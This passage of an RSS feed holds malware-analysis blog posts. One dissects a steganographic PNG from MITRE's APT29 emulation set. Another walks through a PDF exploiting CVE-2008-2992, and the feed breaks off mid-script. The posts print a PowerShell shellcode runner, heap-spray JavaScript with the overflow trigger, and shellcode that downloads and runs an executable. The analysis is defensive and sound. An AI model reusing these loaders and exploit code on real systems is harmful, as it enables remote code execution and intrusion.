shows the exact error.</li><li>To read an encrypted message without the key, stop <strong>before</strong> the encryption call (here BCryptEncrypt) and read the input buffer. Check the length argument and count the bytes before you decide where the message ends.</li></ul><h3>References</h3><ul><li>sample: <a href="https://bazaar.abuse.ch/sample/167d5ab70f55c100e51833fbfea44048095889c162e1330df0631423fc547409/">https://bazaar.abuse.ch/sample/167d5ab70f55c100e51833fbfea44048095889c162e1330df0631423fc547409/</a></li><li>MITRE ATT&amp;CK, MuddyWater group page: <a href="https://attack.mitre.org/groups/G0069/">https://attack.mitre.org/groups/G0069/</a> (open the page and check the ID before you publish)</li><li>Trend Micro, “Another potential MuddyWater campaign uses PowerShell-based PRB-Backdoor”: <a href="https://www.trendmicro.com/en/research/18/f/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor.html">https://www.trendmicro.com/en/research/18/f/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor.html</a></li><li>oletools: oleid, olevba, mraptor and more</li><li>PEStudio, Ghidra and x64dbg: the tools used for the executable</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1c942d66869" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analyzing a Malicious PNG: You Can’t Always See the Whole Picture]]></title>
            <link>https://pavan-pothamsetti.medium.com/analyzing-a-malicious-png-you-cant-always-see-the-whole-picture-dbe2c72710eb?source=rss-051b3df0b0a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbe2c72710eb</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cyberchef]]></category>
            <category><![CDATA[png]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[apt29]]></category>
            <dc:creator><![CDATA[Pavan Teja Pothamsetti]]></dc:creator>
            <pubDate>Sat, 17 Oct 2026 17:57:43 GMT</pubDate>
            <atom:updated>2026-10-17T17:57:43.025Z</atom:updated>
            <content:encoded><![CDATA[<h3>How a harmless-looking photo hides a PowerShell shellcode runner in its pixels, and what the shellcode does</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XbckwvR9RkT9al1GVjvhkQ.png" /></figure><p>A photo of a monkey at a laptop looks like the most harmless file you could pick up. This one carries a PowerShell script, and inside that script is shellcode that phones home over HTTPS. Here is how I found it, step by step, and what it does once it is out.</p><ul><li><strong>The sample</strong> is <a href="https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/monkey.png">monkey.png</a>, a payload from MITRE’s APT29 adversary-emulation material. It hides data in the <strong>pixels</strong> of the image (steganography, ATT&amp;CK T1027.003), not after the end of the file.</li><li><strong>The clue:</strong> in CyberChef’s bit-plane view, the lower bit planes of the green channel look different in the top rows of the image.</li><li><strong>The extraction:</strong> a short Python script reads the lower 4 bits of the blue and green channels of the first 7 rows (7 × 640 = 4,480 bytes) and recovers a PowerShell shellcode runner.</li><li><strong>The shellcode</strong> (654 bytes, x64) is a small stager. It connects to 192.168.0.5:443 over HTTPS, ignores certificate errors, retries up to 10 times, downloads a larger second stage into executable memory and jumps to it.</li><li><strong>The image alone does nothing.</strong> A separate loader has to extract the bytes and run them.</li></ul><h3>Introduction</h3><p><strong>Steganography</strong> is the practice of hiding information inside something that looks ordinary. Attackers use it for a simple reason: a payload buried in an image does not look like a payload to antivirus engines, proxies or a person glancing at the file. MITRE tracks this under T1027.003, and its list of users includes APT29, which MITRE says used steganography to hide payloads inside valid images during Operation Ghost.</p><p>The sample I analysed is published in MITRE’s attack-arsenal repository: sample. It sits in the APT29 emulation material, so it is a realistic stand-in built for testing defences and not something captured from a real intrusion. That matters later, when we meet its callback address.</p><p>Everything below was done in an isolated analysis VM. None of it requires running the recovered PowerShell or the shellcode.</p><h3>Terms you will meet</h3><ul><li><strong>Bit plane:</strong> every colour channel of a pixel is stored as 8 bits. A bit plane is the same bit position (0 to 7) taken from every pixel. Bit 0 is the least significant, the one that changes the colour the least.</li><li><strong>LSB steganography:</strong> hiding data in those least significant bits. Changing them barely alters how the picture looks.</li><li><strong>Shellcode:</strong> a small piece of position-independent machine code that can run on its own.</li><li><strong>Stager:</strong> tiny code whose only job is to fetch and run a bigger payload.</li></ul><h3>Step 1: Look at the image</h3><p>I loaded the file into CyberChef and used the <strong>Render Image</strong> operation. It is a normal-looking photo, 640 × 360 pixels, with a monkey in glasses working at a laptop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*u6n_2CR-rv3O1_R_OhXfng.png" /><figcaption><em>Figure 1: monkey.png loaded into CyberChef (Render Image)</em></figcaption></figure><h3>Step 2: Look at the bit planes</h3><p>Next I added CyberChef’s <strong>View Bit Plane</strong> operation. With the default settings (Red channel, bit 0) the output is an even field of noise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*AbqkvV63WAvG9wh07cXAKg.png" /><figcaption><em>Figure 2: View Bit Plane, Red channel, bit 0 — uniform noise</em></figcaption></figure><p>That is expected. The lowest bits of a photograph are mostly sensor noise, so this view looks random for almost any image. Switching the colour to <strong>Green</strong> gives noise as well, but the very top of the output has a different pattern from the rest. It is subtle, and it is the first clue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sdijL6I-dEHunN_Mg7ME_Q.png" /><figcaption><em>Figure 3: View Bit Plane, Green channel, bit 0 — look at the top of the output</em></figcaption></figure><p>Similar pattern holds at bit 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0VCLtd9oUbyXGBrGkFRmSQ.png" /><figcaption><em>Figure 4: Green channel, bit 3 — still noise</em></figcaption></figure><p>At bit 4 the picture changes: the outline of the monkey appears.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*1J0ybdNeralbfM7vV1c8cg.png" /><figcaption><em>Figure 5: Green channel, bit 4 — the outline of the monkey appears</em></figcaption></figure><blockquote><strong><em>How to read this:</em></strong><em> In an untouched photo, low bit planes look like noise anyway, so noise on its own proves nothing. What stands out here is the </em><strong><em>localised</em></strong><em> difference at the top, together with the point where real image structure takes over (bit 4). That fits the lowest four bits of some pixels being overwritten with other data. It is a lead, and the extraction below is what confirms it.</em></blockquote><h3>Step 3: Extract the hidden bytes</h3><p>With the help of an AI assistant I wrote a short script to pull the low bits out of the top rows and see whether they spell anything. It needs Pillow (pip install pillow).</p><pre>from PIL import Image<br>img = Image.open(&quot;monkey.png&quot;).convert(&quot;RGB&quot;)<br>w, h = img.size<br>print(f&quot;Image: {w}x{h}&quot;)<br>rows = 7                      # how many rows of pixels to read<br>out = bytearray()<br>for y in range(rows):<br>    for x in range(w):<br>        r, g, b = img.getpixel((x, y))<br>        # low 4 bits of blue become the high nibble,<br>        # low 4 bits of green become the low nibble<br>        out.append(((b &amp; 0x0F) &lt;&lt; 4) | (g &amp; 0x0F))<br>with open(&quot;extracted.bin&quot;, &quot;wb&quot;) as f:<br>    f.write(out)<br>preview = &quot;&quot;.join(chr(c) if 32 &lt;= c &lt; 127 else &quot;.&quot; for c in out)<br>print(&quot;Decoded bytes (ASCII):&quot;, preview)<br>print(&quot;First 16 bytes (hex):&quot;, out[:16].hex())<br>print(&quot;Total payload size:&quot;, len(out), &quot;bytes&quot;)</pre><p>Here is how the line ((b &amp; 0x0F) &lt;&lt; 4) | (g &amp; 0x0F) works:</p><ul><li>b &amp; 0x0F keeps only the lowest 4 bits of the blue value, and &lt;&lt; 4 moves them into the top half of a byte.</li><li>g &amp; 0x0F keeps the lowest 4 bits of green, which fill the bottom half.</li><li>The two halves are combined into <strong>one byte per pixel</strong>. The red channel is never touched.</li><li>Seven rows of 640 pixels give 7 × 640 = <strong>4,480 bytes</strong>, which matches the total printed by the script.</li></ul><p>You do not need to know the number of rows in advance. Read more rows than you think you need and see where readable text turns into noise. At this density the whole image could hold 640 × 360 = 230,400 bytes (about 225 KB). The hidden script uses a tiny fraction of that, which is part of why the image looks untouched.</p><p>The first 16 bytes come out as 24 63 46 49 72 77 77 70 5a 7a 47 7a 55 20 3d 20. Those are ASCII characters: $cFIrwwpZzGzU = . This is plain text, a PowerShell variable assignment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*CcCW0Yjoee1Lf0f0OOVCGQ.png" /><figcaption><em>Figure 6: The extraction script and its output in VS Code on REMnux</em></figcaption></figure><h3>Step 4: Read the recovered script</h3><p>The ASCII preview shows a PowerShell script followed by a stretch of random-looking characters. The script ends where the gibberish begins. The extraction grabbed whole rows of pixels, so everything after the script is leftover image noise.</p><p>Cleaned up and with the long shellcode array shortened, the script looks like this. The logic is unchanged; I only reformatted it for reading.</p><pre># 1. Declare C# signatures for two Windows API functions<br>$cFIrwwpZzGzU = @&quot;<br>[DllImport(&quot;kernel32.dll&quot;)]<br>public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,<br>    uint flAllocationType, uint flProtect);[DllImport(&quot;kernel32.dll&quot;)]<br>public static extern IntPtr CreateThread(IntPtr lpThreadAttributes,<br>    uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,<br>    uint dwCreationFlags, IntPtr lpThreadId);<br>&quot;@<br># 2. Compile the C# into a .NET type inside PowerShell<br>$wBcdKerGJHC = Add-Type -MemberDefinition $cFIrwwpZzGzU -Name &quot;Win32&quot; `<br>    -Namespace Win32Functions -PassThru<br># 3. The shellcode (654 bytes, truncated here)<br>[Byte[]] $HJPyaDhb = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0, ...<br># 4. Allocate memory: 0x3000 = MEM_COMMIT | MEM_RESERVE,<br>#    0x40 = PAGE_EXECUTE_READWRITE<br>$AwuDIqurnRKiWts = $wBcdKerGJHC::VirtualAlloc(0,<br>    [Math]::Max($HJPyaDhb.Length, 0x1000), 0x3000, 0x40)<br># 5. Copy the shellcode into that memory<br>[System.Runtime.InteropServices.Marshal]::Copy($HJPyaDhb, 0,<br>    $AwuDIqurnRKiWts, $HJPyaDhb.Length)<br># 6. Run it in a new thread<br>$wBcdKerGJHC::CreateThread(0, 0, $AwuDIqurnRKiWts, 0, 0, 0)<br></pre><p>This is a classic <strong>PowerShell shellcode runner</strong>:</p><ul><li><strong>Steps 1 and 2</strong> use P/Invoke. PowerShell cannot call VirtualAlloc directly, so the script compiles a small C# wrapper with Add-Type and calls the Windows functions through it.</li><li><strong>Step 4</strong> asks Windows for memory that is readable, writable <strong>and executable</strong> (0x40). Normal programs rarely need all three at once, so this is a well-known red flag.</li><li><strong>Steps 5 and 6</strong> copy the bytes in and start a thread whose first instruction is the first shellcode byte.</li><li>The odd variable names are random strings. They change every time the script is generated, which makes them poor indicators on their own.</li></ul><h3>Step 5: What does the shellcode do?</h3><p>The writeup could stop at “it runs shellcode”, but the 654 bytes can be read without running them. First, turn the PowerShell byte array into a binary file:</p><pre>import re<br>text = open(&quot;extracted.bin&quot;, &quot;rb&quot;).read().decode(&quot;latin-1&quot;)<br>start = text.index(&quot;[Byte[]]&quot;)<br>end = text.index(&quot;VirtualAlloc(0&quot;, start)   # the call that follows the array<br>sc = bytes(int(h, 16) for h in re.findall(r&quot;0x([0-9a-fA-F]{1,2})&quot;, text[start:end]))<br>open(&quot;shellcode.bin&quot;, &quot;wb&quot;).write(sc)<br>print(len(sc), &quot;bytes&quot;)</pre><p>Opening shellcode.bin in a 64-bit disassembler (for example ndisasm -b 64 shellcode.bin) shows the start:</p><pre>cld                              ; clear the direction flag<br>and rsp, 0xfffffffffffffff0      ; align the stack to 16 bytes<br>call 0xd6                        ; jump over the helper code<br>...</pre><p>That opening, fc 48 83 e4 f0 e8, is the well-known prologue of Metasploit-style x64 shellcode. A strings pass over the bytes then finds three readable items:</p><ul><li>wininet: the Windows internet library.</li><li>192.168.0.5: an IP address.</li><li>A 102-character path starting with /cuLsibVVZVH4wfnDpcsoSwpcHQB8mMuUZuHz0p3VwNvLzDy5x_VIZ-LQV3FBBgOB0r0F-KyfdjwT3-wRr1gEt7L5qSikAl5qBVPPI.</li></ul><p>The port is stored as a number and not as text. The instruction mov r8, 0x1bb loads it, and 0x1bb is <strong>443</strong>, the HTTPS port.</p><p>The shellcode also avoids a normal import table. Each time it needs a Windows function it loads a 32-bit <strong>hash</strong> into r10 and calls a small resolver, which walks the loaded DLLs and finds the function whose name hashes to that value. I recomputed the hashes using the ROR-13 scheme this style of shellcode uses, and each one matches a WinINet or kernel32 function:</p><ul><li>0x0726774c → kernel32!LoadLibraryA</li><li>0xa779563a → wininet!InternetOpenA</li><li>0xc69f8957 → wininet!InternetConnectA</li><li>0x3b2e55eb → wininet!HttpOpenRequestA</li><li>0x869e4675 → wininet!InternetSetOptionA</li><li>0x7b18062d → wininet!HttpSendRequestA</li><li>0xe035f044 → kernel32!Sleep</li><li>0xe553a458 → kernel32!VirtualAlloc</li><li>0xe2899612 → wininet!InternetReadFile</li><li>0x56a2b5f0 → kernel32!ExitProcess</li></ul><p>Putting the calls in order, this is what the shellcode does:</p><ol><li>Loads wininet with LoadLibraryA, then opens an internet session with InternetOpenA.</li><li>Connects to <strong>192.168.0.5 on port 443</strong> (InternetConnectA, service type 3 = HTTP) and prepares a request for the long path above (HttpOpenRequestA, with the HTTPS flag set).</li><li>Calls InternetSetOptionA with option 0x1f and the value 0x3380. That option is the connection’s security flags, and this value tells WinINet to <strong>ignore certificate errors</strong>, so a self-signed certificate on the attacker’s server is accepted.</li><li>Sends the request with HttpSendRequestA. If it fails, the code calls Sleep(5000) and tries again, up to <strong>10 attempts</strong>. After the last failure it calls ExitProcess.</li><li>If the request succeeds, it calls VirtualAlloc for a 4 MB block of read-write-execute memory and reads the server’s response into it with InternetReadFile, 8 KB at a time, until the server has nothing more to send.</li><li>Finally it returns into the buffer it just filled, so execution <strong>jumps into the downloaded code</strong>.</li></ol><p>This is a <strong>stager</strong>. The 654 bytes hidden in the image are not the real payload, only the part that fetches it. The two-stage design keeps the file small, and the image would stay unremarkable.</p><blockquote><strong><em>What I can and cannot say about the origin:</em></strong><em> The call pattern, the hashes and the URI shape all match Metasploit’s HTTPS stager. The 8-bit character sum of the path (without the leading slash) is 92, a value I recall Metasploit using for its Windows stage URIs. That is strong circumstantial evidence, not proof, and it comes entirely from reading the bytes.</em></blockquote><p>One more detail explains why this sample cannot phone home on its own. 192.168.0.5 is a <strong>private</strong> (RFC 1918) address. In MITRE’s emulation lab the attacker’s server lived on the same internal network. A real attacker would use a public address, so treat this as a lab artefact and not as live infrastructure.</p><h3>What this is not: data appended after IEND</h3><p>A common and much simpler trick is to append data <strong>after the end of the image</strong>. A PNG finishes with a chunk called IEND, and image decoders stop reading there. Anything added after it is ignored by viewers but is still in the file. You can check any PNG for trailing data like this:</p><pre>data = open(&quot;image.png&quot;, &quot;rb&quot;).read()<br>i = data.rfind(b&quot;IEND&quot;)<br>print(&quot;bytes after the IEND chunk:&quot;, len(data) - (i + 8))</pre><p>A nonzero result deserves a closer look. That is <strong>not</strong> what happens in this sample. Here the payload sits <strong>inside the pixel data</strong>, so the file structure is perfectly normal and a check like this finds nothing.</p><p>There is also a common misunderstanding to clear up. Neither technique makes an image run code when you open it. A viewer just draws the picture. Something else, such as a script or a loader that is already on the machine, has to know where the hidden bytes are, extract them and execute them. That is exactly what the extraction script in Step 3 does by hand.</p><h3>Where this comes from in the real world</h3><p>The encoding used here is one byte per pixel, split across two channels with the red channel untouched. It closely resembles the approach of the open-source tool Invoke-PSImage, which MITRE lists as a tool that can embed a PowerShell script within the pixels of a PNG file (Invoke-PSImage (MITRE S0231)). MITRE’s technique page also lists real malware families that hid payloads or C2 information in images, including PowerDuke, which hid backdoors in PNG files, and PolyglotDuke. The shape of this sample is not a laboratory invention.</p><h3>Indicators</h3><ul><li><strong>Sample:</strong> monkey.png from MITRE’s attack-arsenal repository (add your own SHA-256 of the file you analysed).</li><li><strong>Embedded script marker:</strong> a PowerShell script beginning $cFIrwwpZzGzU = @” (random variable names, so low value).</li><li><strong>Callback:</strong> 192.168.0.5:443 over HTTPS (a private lab address) with the URI path shown in Step 5.</li><li><strong>Behaviour:</strong> Add-Type with VirtualAlloc and CreateThread declarations, followed by a PAGE_EXECUTE_READWRITE allocation.</li></ul><h3>MITRE ATT&amp;CK mapping</h3><ul><li><strong>T1027.003</strong> Obfuscated Files or Information: Steganography</li><li><strong>T1140</strong> Deobfuscate/Decode Files or Information: extracting the bytes from the pixels</li><li><strong>T1059.001</strong> Command and Scripting Interpreter: PowerShell</li><li><strong>T1106</strong> Native API: VirtualAlloc and CreateThread called through P/Invoke</li><li><strong>T1071.001</strong> Application Layer Protocol: Web Protocols (HTTPS stager traffic)</li><li><strong>T1105</strong> Ingress Tool Transfer: the second stage downloaded by the shellcode</li></ul><h3>Conclusion</h3><p>A harmless-looking monkey photo hid a complete attack chain: a PowerShell loader, and inside it a stager that retrieves a second payload over HTTPS. All it took to find it was a bit-plane view, a 20-line script, and patience reading the result.</p><p>The lesson is not “never open an image”. The image alone is inert. What matters is what is <strong>processing</strong> it. Be suspicious of any script that opens an image and then executes data derived from it, and for defenders, watch for the behaviour that comes next: memory made executable, code compiled on the fly, and a stager reaching out over HTTPS.</p><h3>References</h3><ul><li>sample: MITRE attack-arsenal, APT29 emulation payload (<a href="https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/monkey.png">monkey.png</a>)</li><li>T1027.003: MITRE ATT&amp;CK, Steganography</li><li>Invoke-PSImage (MITRE S0231): MITRE ATT&amp;CK software page</li><li>Invoke-PSImage: the tool on GitHub</li><li>CyberChef: the tool used for the bit-plane view</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbe2c72710eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anatomy of a Malicious PDF]]></title>
            <link>https://pavan-pothamsetti.medium.com/anatomy-of-a-malicious-pdf-3519ebadd669?source=rss-051b3df0b0a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/3519ebadd669</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[adobe-acrobat]]></category>
            <category><![CDATA[remnux]]></category>
            <category><![CDATA[cve-2008-2992]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[Pavan Teja Pothamsetti]]></dc:creator>
            <pubDate>Sat, 10 Oct 2026 09:37:40 GMT</pubDate>
            <atom:updated>2026-10-10T09:37:40.080Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XbckwvR9RkT9al1GVjvhkQ.png" /></figure><h3>From an auto-run script to shellcode: a step-by-step analysis of a PDF exploiting CVE-2008–2992</h3><p>I took a suspicious PDF apart on a REMnux VM without ever opening it in a reader. Here is what the analysis showed:</p><ul><li>The PDF runs JavaScript <strong>automatically when opened</strong>, through an /OpenAction and a /JavaScript action. No click is needed.</li><li>The script is hidden behind a layer of eval()-based obfuscation. Swapping the final eval(A) for console.log(A) reveals it.</li><li>The revealed code sprays the heap with a NOP sled plus shellcode, then calls util.printf(“%45000f”, num). That call triggers <strong>CVE-2008–2992</strong>, a stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and earlier.</li><li>The shellcode is position-independent and decodes itself at runtime. Emulated in scdbg, it loads urlmon, downloads an executable from a hard-coded IP address, saves it as wJQs.exe and launches it with WinExec.</li></ul><h3>Introduction</h3><p>When we think of malware, we usually picture an executable. In practice, attackers often hide behind formats people trust and open without a second thought, such as Office documents, archives and PDFs. A PDF looks like a static page, but the format is far richer than that. It can carry JavaScript, launch actions, embedded files and interactive forms, which makes it a long-standing delivery vehicle for exploits.</p><p>In this post I walk through the full analysis of one such sample, from first triage to the final API calls the shellcode makes. Along the way you will see how to:</p><ul><li>read the structure of a PDF and spot the objects that matter;</li><li>follow a chain of object references to a hidden script;</li><li>defeat a simple eval() obfuscation layer;</li><li>recognise a heap spray, a NOP sled and classic shellcode patterns;</li><li>emulate shellcode to learn what it does without running it on a real machine.</li></ul><p>You do not need to be a seasoned reverse engineer to follow along. Each step explains what we are looking at and why it matters.</p><h3>Lab setup and tools</h3><p>Everything here was done on <strong>REMnux</strong>, a Linux distribution built for malware analysts. These are the tools used:</p><ul><li><strong>pdf-parser.py</strong>: parses a PDF, lists and searches its objects, and filters their content. (pdfid is a lighter alternative that only counts suspicious keywords.)</li><li><strong>pdftk</strong>: the PDF Toolkit, used to merge, split, rotate, encrypt, decrypt and fill forms. Here we use it to rewrite the file with its streams uncompressed.</li><li><strong>Node.js</strong>: runs the deobfuscated JavaScript so we can read its output.</li><li><strong>scdbg</strong>: a shellcode emulator that runs x86 shellcode in a sandboxed CPU model and logs the Windows API calls it makes.</li></ul><blockquote><strong><em>Safety note:</em></strong><em> Analyse samples in an isolated VM with a clean snapshot and no route to the internet. Never open a suspicious PDF in a normal reader. As you will see below, this sample tries to download and execute a program the moment a vulnerable Acrobat opens it.</em></blockquote><h3>PDF anatomy in five minutes</h3><p>A PDF is a collection of <strong>objects</strong>. An object is a self-contained piece of data that describes one aspect of the document: a page, a font, a form field, a script, an action. Objects can reference each other, which is how a malicious file can bury its payload several hops away from the entry point. For a deeper look at the format, see this blog post. The objects you will meet in this analysis:</p><ul><li>/Catalog: the root dictionary of the document. Every other top-level feature is referenced from here.</li><li>/Outlines: the bookmark tree shown in a reader’s sidebar.</li><li>/Pages and /Page: the page tree and the individual pages, with their size (/MediaBox), content streams and resources such as fonts and images.</li><li>/OpenAction: an action the reader performs automatically when the document opens, for example jump to a page, or run a script.</li><li>/JavaScript: identifies an action as a JavaScript action (/S /JavaScript). The same name is also used as a key in the document’s /Names tree, which holds document-level scripts that run on open.</li><li>/JS: the entry inside a JavaScript action that holds the script itself, either as a string or as a reference to a stream object.</li><li>/AcroForm: the interactive form dictionary, holding form fields (text boxes, checkboxes, dropdowns) and their appearance settings.</li></ul><blockquote><strong><em>Tip:</em></strong><em> When triaging a PDF, the most suspicious keywords are /OpenAction, /AA (additional actions), /JS and /JavaScript. Others worth a look are /Launch, /EmbeddedFile and /URI. One of these on its own proves nothing, but a combination, especially in a short, simple file, deserves a closer look.</em></blockquote><h3>Step 1: Initial triage</h3><p>Every malware analysis starts with triage: what kind of file is this, and what does it contain? For a PDF, the quickest answer comes from a keyword summary. I used pdf-parser.py for this (run pdf-parser.py — help to see all its options). pdfid gives similar output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*H3w1XBwYlbrl66_A6hHdlA.png" /><figcaption><em>Figure 1: Object and keyword summary from pdf-parser.py</em></figcaption></figure><p>The summary shows 15 indirect objects and, more importantly, the keywords that stand out: one /OpenAction, /JS in two objects (1 and 12) and /JavaScript in three (1, 7 and 12). There is also an /AcroForm. An automatic action combined with JavaScript is the first red flag, and the object numbers tell us where to dig.</p><h3>Step 2: Following the entry point</h3><p>To see the file the way the parser sees it, we can ask for the raw objects with pdf-parser.py — raw.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*20HZZXUiV-Hh925RgxO_qA.png" /><figcaption><em>Figure 2: Raw view of object 1, the document catalog</em></figcaption></figure><p>Object 1 is the root (/Type /Catalog) and it references objects 2 to 7. The key part is the /OpenAction dictionary: its action type is /S /JavaScript, and /JS is followed by what looks like gibberish.</p><p>pdf-parser prints that string as unreadable bytes, so I turned to <strong>pdftk</strong>, which can rewrite a PDF with its streams uncompressed:</p><pre>pdftk &lt;file_name&gt;.pdf output dump.txt uncompress</pre><p>Opening dump.txt shows the same /OpenAction in readable form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*HDFhmeN6wkxBq-afXVho2A.png" /><figcaption><em>Figure 3: The /OpenAction in the uncompressed dump</em></figcaption></figure><p>The gibberish is a plain function call: this.kahsdisdya8ysadiasd(). The name means nothing to a human, but it is a handle we can search for.</p><h3>Step 3: Chasing the reference chain</h3><p>A string search for that function name in the dump leads to object 10.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*pqw_TTx2JkSPKORGOxAjBw.png" /><figcaption><em>Figure 4: Object 10 maps the name to object 12</em></figcaption></figure><p>Object 10 is an entry in a /Names array that links the name kahsdisdya8ysadiasd to object 12. This fits the keyword summary, which flagged /JavaScript in object 7, the /Names dictionary referenced from the catalog. Either way, whether through the /OpenAction or a document-level script, the JavaScript is set up to run as soon as the file is opened.</p><p>Object 12 is a JavaScript action that points to yet another object for its code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*YFjYH8RNlBic5uss1nyVvA.png" /><figcaption><em>Figure 5: Object 12 is a JavaScript action pointing at object 13</em></figcaption></figure><p>Object 13 is where the code lives. Laid out end to end, the chain looks like this:</p><pre>Object 1   /Catalog<br>  └─ /OpenAction  →  /S /JavaScript  /JS (this.kahsdisdya8ysadiasd())<br>Object 10  /Names [ (kahsdisdya8ysadiasd) 12 0 R ]<br>  └─→ Object 12  &lt;&lt; /S /JavaScript  /JS 13 0 R &gt;&gt;<br>        └─→ Object 13  stream, /Length 11158  (obfuscated JavaScript)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*AXtMagRhRFjHMruDu3zz_Q.png" /><figcaption><em>Figure 6: Object 13, an 11,158-byte stream of obfuscated JavaScript</em></figcaption></figure><p>Bingo, obfuscated code. An 11 KB script inside a PDF is not something to be optimistic about. Legitimate PDF scripts, such as form validation, are usually tiny.</p><h3>Step 4: Deobfuscating the script</h3><p>At the very end of the stream is eval(A). eval() is a built-in function, available in both JavaScript and Python, that executes a string as code. Obfuscators love it: the script assembles its real code into the variable A through a maze of string operations, then eval runs the result.</p><blockquote><strong><em>Analyst trick:</em></strong><em> Whenever you find obfuscated code that ends in eval(), replace the eval with the language’s print function. The script then prints the code it was about to execute instead of running it.</em></blockquote><p>We already know the language is JavaScript, so I replaced the last eval(A) with console.log(A), pasted the stream into a file called test.js, and ran it with Node.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*7CZq0DZHHuynCxQ3uyKqgw.png" /><figcaption><em>Figure 7: test.js with the final eval(A) replaced by console.log(A)</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*jUcPdAiKplC6li_vITrbFg.png" /><figcaption><em>Figure 8: Deobfuscated output printed by Node</em></figcaption></figure><p>Now we can read the real script. It has three parts, and I will take them from the end.</p><h3>Step 5: Reading the deobfuscated code</h3><h3>5.1 The trigger: util.printf and CVE-2008–2992</h3><p>The script ends with this call:</p><pre>util.printf(&quot;%45000f&quot;, num);</pre><p>util.printf is a JavaScript function Adobe Acrobat and Reader provide for formatting numbers. The format string %45000f asks for a floating-point value padded to a field width of 45,000 characters, and num is a very long numeric string. Handing the function that combination is the exploit. It is <strong>CVE-2008–2992</strong>, a stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and earlier, where a crafted format string overflows a fixed-size buffer on the stack. Details are in the NVD entry.</p><p>An overflow alone only crashes the program. To turn it into code execution, the attacker needs to control where execution lands afterwards. That is what the rest of the script prepares.</p><h3>5.2 The landing zone: NOP sled and heap spray</h3><p>Before the trigger, the script builds a large block of memory:</p><pre>var nop = &quot;&quot;;<br>for (iCnt = 128; iCnt &gt;= 0; --iCnt)<br>    nop += unescape(&quot;%u9090%u9090%u9090%u9090%u9090&quot;);<br>heapblock = nop + payload;<br>// ...pad, then fill 1,400 array entries with copies of the block<br>for (i = 0; i &lt; 1400; i++) mem[i] = block + heapblock;</pre><p>Replace each %u with a space and the value reads 9090 9090 9090 9090 9090. 90 is the x86 opcode for <strong>NOP</strong> (“no operation”), an instruction that does nothing and simply moves on to the next one. This is not a coincidence. A long run of NOPs is called a <strong>NOP sled</strong>: if the corrupted program jumps anywhere inside it, the CPU slides harmlessly down to the end, where the real payload begins. It also tells us the author is targeting x86, since 0x90 is only a NOP on that architecture.</p><p>The script then allocates roughly half-megabyte blocks of NOPs-plus-payload 1,400 times. This is a <strong>heap spray</strong>: it fills so much of the process’s memory with copies of the sled and shellcode that, once the overflow redirects execution, a jump to a fairly predictable address is very likely to land inside one of them. The technique was a staple of browser and PDF exploits for years.</p><h3>5.3 The payload: recognising shellcode</h3><p>The payload variable is a long string of %uXXXX sequences. unescape() turns each sequence into a 16-bit value, stored in memory in little-endian order (low byte first). The payload begins %u00e8 %u0000 %u5d00 %uc583 …, which in memory is:</p><pre>E8 00 00 00 00 5D 83 C5 14 B9 8B 01 00 00 B0 3D 30 45 00 45 49 75 ...</pre><p>Disassembling those first bytes gives:</p><pre>E8 00 00 00 00    call $+5            ; push address of next instr.<br>5D                pop  ebp            ; ebp now holds our own address<br>83 C5 14          add  ebp, 0x14<br>B9 8B 01 00 00    mov  ecx, 0x18B     ; loop counter: 395 bytes<br>B0 3D             mov  al, 0x3D       ; XOR key<br>30 45 00          xor  [ebp], al      ; decode one byte in place<br>45                inc  ebp<br>49                dec  ecx<br>75 ..             jnz  loop</pre><p>The opening call to the very next instruction followed by pop is a classic <strong>GetPC</strong> trick: it lets position-independent code discover where in memory it is running. What follows is a small decoder that XORs the rest of the payload with the single-byte key 0x3D. That is why the interesting strings (the DLL name, the URL) are not visible in the raw bytes. These are well-known hallmarks of shellcode.</p><h3>Step 6: Extracting the shellcode</h3><p>To analyse the payload on its own, I needed it as a binary file. A short Python script (written with Gemini’s help) pulls every %uXXXX block out of the string and writes each as a little-endian 16-bit value to shellcode.bin:</p><pre>import re, struct</pre><pre># paste the string from the &quot;payload&quot; variable here<br>js_payload = &quot;%u00e8%u0000%u5d00%uc583%ub914...&quot;</pre><pre># every %uXXXX sequence is one 16-bit value<br>blocks = re.findall(r&quot;%u([0-9a-fA-F]{4})&quot;, 